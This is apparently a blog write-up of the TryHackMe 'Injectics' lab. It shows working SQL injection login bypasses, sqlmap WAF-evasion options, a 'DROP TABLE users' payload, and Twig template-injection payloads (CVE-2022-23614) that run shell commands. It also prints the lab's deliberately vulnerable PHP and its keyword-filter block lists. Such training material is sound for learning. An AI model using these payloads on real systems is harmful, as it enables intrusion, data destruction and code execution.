Can you utilise your web pen-testing skills to safeguard the event from any injection attack?

THM Room: https://tryhackme.com/room/injectics

This room is a part of the Injection Attacks module.

Reconnaissance

We have a usual website:

However, there are two interesting things in the source code of the home page:

  • We see a comment: “Website developed by John Tim – [email protected]”; this gives us a potential email address to log in and a potential username for SSH access.
  • And there is another comment: “Mails are stored in mail.log file”

mail.log has an interesting message inside:

From: [email protected]
To: [email protected]
Subject: Update before holidays

Hey,

Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

| Email | Password |
|---------------------------|-------------------------|
| [email protected] | superSecurePasswd101 |
| [email protected] | devPasswd123 |

Please let me know if there are any further updates or changes needed.

Best regards,
Dev Team

[email protected]

We have credentials to log in. Let us follow the Login link:

If we click the “Login as Admin” button, we will see another form:

If we try the credentials from mail.log, they won’t work (otherwise, it would be too easy).

Exploitation

There are two options now:

  1. Brute force passwords: we have emails, so we can use Hydra to find passwords.
  2. Check if the forms are vulnerable to SQL injection vulnerability.

The second option is faster, so we can try it first.

However, there is an annoying script that validates the input fields:

We can edit it in Burp Suite or create an override in Developer Tools.

The script guards only the “usual” login page; the Administrator Login page is not protected.

SQL Injection

I have tried the following payload:

'||1;#

I used || instead of OR because OR is filtered on the client side and will probably be filtered on the server side as well.

And we see the Dashboard:

Let us now try sqlmap to see what information we can gather from the database:

sqlmap \
    -u http://10.10.212.19/functions.php \
    --data 'username=x&password=x&function=login' \
    --batch

However, sqlmap does not find anything:

We, however, know that the site is vulnerable.

[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

There is definitely some kind of protection mechanism involved. Let us first try --random-agent because sqlmap by default uses “sqlmap” in the User-Agent header, and this is an evident signature for a block rule.

However, --random-agent alone does not work either. We can increase the --level parameter.

On level 3, sqlmap finds this vulnerability:

sqlmap \
    -u http://10.10.212.19/functions.php \
    --data 'username=x&password=x&function=login' \
    -p username \
    --batch \
    --random-agent \
    --level=3
sqlmap identified the following injection point(s) with a total of 950 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=x' RLIKE SLEEP(5)-- lIfr&password=x&function=login
---

Time-based comparison are not ideal. We know that the site is vulnerable to a Boolean blind SQL injection.

sqlmap \
    -u http://10.10.212.19/functions.php \
    --data 'username=x&password=x&function=login' \
    -p username \
    --batch \
    --random-agent \
    --tech=b --level=3 --risk=3 \
    --tamper=symboliclogical \
    --flush-session

This yielded better results but we still cannot get any other information like databases or tables. It looks like the system aggressively sanitizes SQL queries. Sad.

Privilege Escalation

It looks like we need to make this happen:

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the users table if it is ever deleted or becomes corrupted.

We need to kill the users table. This is only possible if the target system uses multi-queries (like this).

The login form seems to be immune to this type of attack. Let us try to edit the table in the Dashboard.

I used the ; DROP TABLE users; /* -- payload everywhere, and it worked:

We wait for a couple of minutes, go to the Admin login page, and login with the [email protected]:superSecurePasswd101 credentials.

We are in, and we have the first flag!

Exploiting Server-Side Template Injection to Get Remote Code Execution

We also have a page to update our profile:

It is not vulnerable to SQL injections or XSS attacks. Let us see if we can perform a server-side template injection attack. We can:

Now, we can try to execute command. We can use this cheatsheet to mount an attack.

First we try this payload:

{{['id']|filter('system')}}

However, it does not work:

The callable passed to "filter" filter must be a Closure in sandbox mode in "__string_template__8a0a34f3ef7bb4027995c4af464e338fdb11b6a04e25524a117eb8284867d004" at line 1.

{{['id']|map('system')|join}} does not work, and neither does {{[0]|reduce('system','id')}}.

However, if we look for Twig vulnerabilities, we will find CVE-2022-23614. It looks like we can use sort.

{{['id','']|sort('system')|join}} did not work for me but {{['id','']|sort('passthru')|join}} did:

The rest is easy:

{{['ls -lha','']|sort('passthru')|join}}:

We see the flags directory; we can issue {{['ls -lha flags','']|sort('passthru')|join}} and then grab the flag with {{['cat flags/FILENAME','']|sort('passthru')|join}} and obtain the second flag.

Mission accomplished. However, my curiosity demands that we study how the system neutralizes sqlmap.

Using the RCE, we can view any PHP file. We need functions.php:

function is_sqlmap_request() {

    if (strpos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) {
        return true;
    }

    foreach ($_SERVER as $key => $value) {
        if (stripos($key, 'sqlmap') !== false || stripos($value, 'sqlmap') !== false) {
            return true;
        }
    }

    return false;
}

function checkLogin($email, $password) {
    $conn = db_connect();


if (is_sqlmap_request()) {

    http_response_code(403);
    die('Forbidden: SQLmap detected.');
}
  /*  $stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
    $stmt->bind_param("ss", $email, $password);
    $stmt->execute();*/
	if ($email == "[email protected]"){
	return false;
	}
	
	//	test' --
	    $email = str_ireplace([ "AND", "OR", "UNION"], "", $email);
		$password = str_ireplace(["AND", "OR", "UNION"], "", $password);

    $sql = "SELECT * FROM users WHERE email='$email' AND password='$password'";
	//echo $sql;
    $result = $conn->query($sql); 

    if ($result->num_rows > 0) {
        $user = $result->fetch_assoc();
			$_SESSION['role'] = "dev";
        $_SESSION['username'] = $user['email'];
        $_SESSION['auth'] = $user['auth'];
        $_SESSION['fname'] = $user['fname'];
        $_SESSION['lname'] = $user['lname'];
        return true;
    } else {
        return false;
    }

    $stmt->close();
    $conn->close();
}

The is_sqlmap_request() function detects sqlmap by looking for its signature in the User-Agent header. This is where the --random-agent option comes to help. And then we see the code that kills AND, OR, and UNION keywords.

sqlmap uses payloads similar to these to list databases:

x' RLIKE (SELECT 9054=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51),SLEEP(5),9054))-- fhjX
x' RLIKE (SELECT 9054=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>48),SLEEP(5),9054))-- fhjX
x' RLIKE (SELECT 9054=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>9),SLEEP(5),9054))-- fhjX
x' RLIKE (SELECT 5152=IF((ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>64),SLEEP(5),5152))-- BPTM
x' RLIKE (SELECT 5152=IF((ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>32),SLEEP(5),5152))-- BPTM
x' RLIKE (SELECT 5152=IF((ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>1),SLEEP(5),5152))-- BPTM

The code kills OR in ORD rendering the statement invalid. And while we can use tamper methods like ord2ascii, we won’t be able to access the INFORMATION_SCHEMA database to enumerate databases, tables, and columns.

adminLogin007.php is not vulnerable because it uses prepared statements ans aggressive sanitization:

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $email = $_POST['mail'];
    $password = $_POST['pass'];
 $conn = db_connect();
// print_r($_POST);
    // Function to sanitize input by removing SQL injection keywords and special characters
    function sanitize_input($input) {
		
        $keywords = ['union', 'select', 'or', 'and', "'", '"', '--', '#', ';', "SLEEP"];
        foreach ($keywords as $keyword) {
            $input = str_ireplace($keyword, '', $input);
        }
        // Remove HTML characters
        $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        // Remove any other special characters not covered by htmlspecialchars
        $input = preg_replace('/[^A-Za-z0-9@.]/', '', $input);
		//$input = mysqli_real_escape_string($conn, $input);
        return $input;  
    }

    $email = sanitize_input($email);
    $password = sanitize_input($password);
//echo "email and password are".$email.$password;
    // Prepare and execute the SQL statement
	
	//echo "SELECT * FROM users WHERE email = $email  AND password = $password";
	
    $stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
    $stmt->bind_param("ss", $email, $password);
    $stmt->execute();
    $result = $stmt->get_result();

edit_leaderboard.php is also very interesting. And it indeed uses multi-queries (line 60):

$conn = db_connect();
    function sanitize_input($input) {
		
        $keywords = ['union', 'select', 'or', 'and', "'", '"', '--', '#', ';', "SLEEP"];
        foreach ($keywords as $keyword) {
            $input = str_ireplace($keyword, '', $input);
        }
        // Remove HTML characters
        $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        // Remove any other special characters not covered by htmlspecialchars
        $input = preg_replace('/[^A-Za-z0-9@.]/', '', $input);
		
        return $input;
    }
	
	    function sanitize_inputv2($input) {
		
        $keywords = ['union', 'select', 'or', 'and', 'case', "SLEEP"];
        foreach ($keywords as $keyword) {
            $input = str_ireplace($keyword, '', $input);
        }

        return $input;
    }
	
	
function sanitizeSqlCommands($input) {
    // List of common SQL commands to remove, except for DROP and UPDATE
    $sqlCommands = [
        'SELECT', 'INSERT', 'DELETE', 'CREATE', 'ALTER', 'TRUNCATE', 
        'MERGE', 'CALL', 'EXPLAIN', 'LOCK', 'UNLOCK', 'REPLACE', 
        'HANDLER', 'LOAD', 'GRANT', 'REVOKE', 'SHOW', 'DESCRIBE', 
        'USE', 'HELP', 'BEGIN', 'COMMIT', 'ROLLBACK', 'SAVEPOINT', 
    'DECLARE', 'PREPARE', 'EXECUTE', 'DEALLOCATE', 'SLEEP', 'OR', 'AND', 'CURSOR'
    ];
    
    // Create a regular expression pattern to match the SQL commands
    $pattern = '/\b(?:' . implode('|', $sqlCommands) . ')\b/i';
    
    // Remove the SQL commands from the input, except for DROP and UPDATE
    $output = preg_replace($pattern, '', $input);
    
    return $output;
}


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $rank = $_POST['rank'];
    $country = $_POST['country'];
    $gold = $_POST['gold'];
    $silver = $_POST['silver'];
    $bronze = $_POST['bronze'];

    $sql = "UPDATE leaderboard SET gold=$gold, silver=$silver, bronze=$bronze WHERE `rank`=$rank";
	$sql = sanitizeSqlCommands($sql);
	$sql = sanitize_inputv2($sql);
//echo $sql;
//exit;
	//12345; drop table test ; --
    if ($conn->multi_query($sql) === TRUE) {
        header("Location: dashboard.php");
        exit();
    } else {
        $error = "Error updating data. ";
    }
}
Write-up: Injectics

Leave a Reply

Your email address will not be published. Required fields are marked *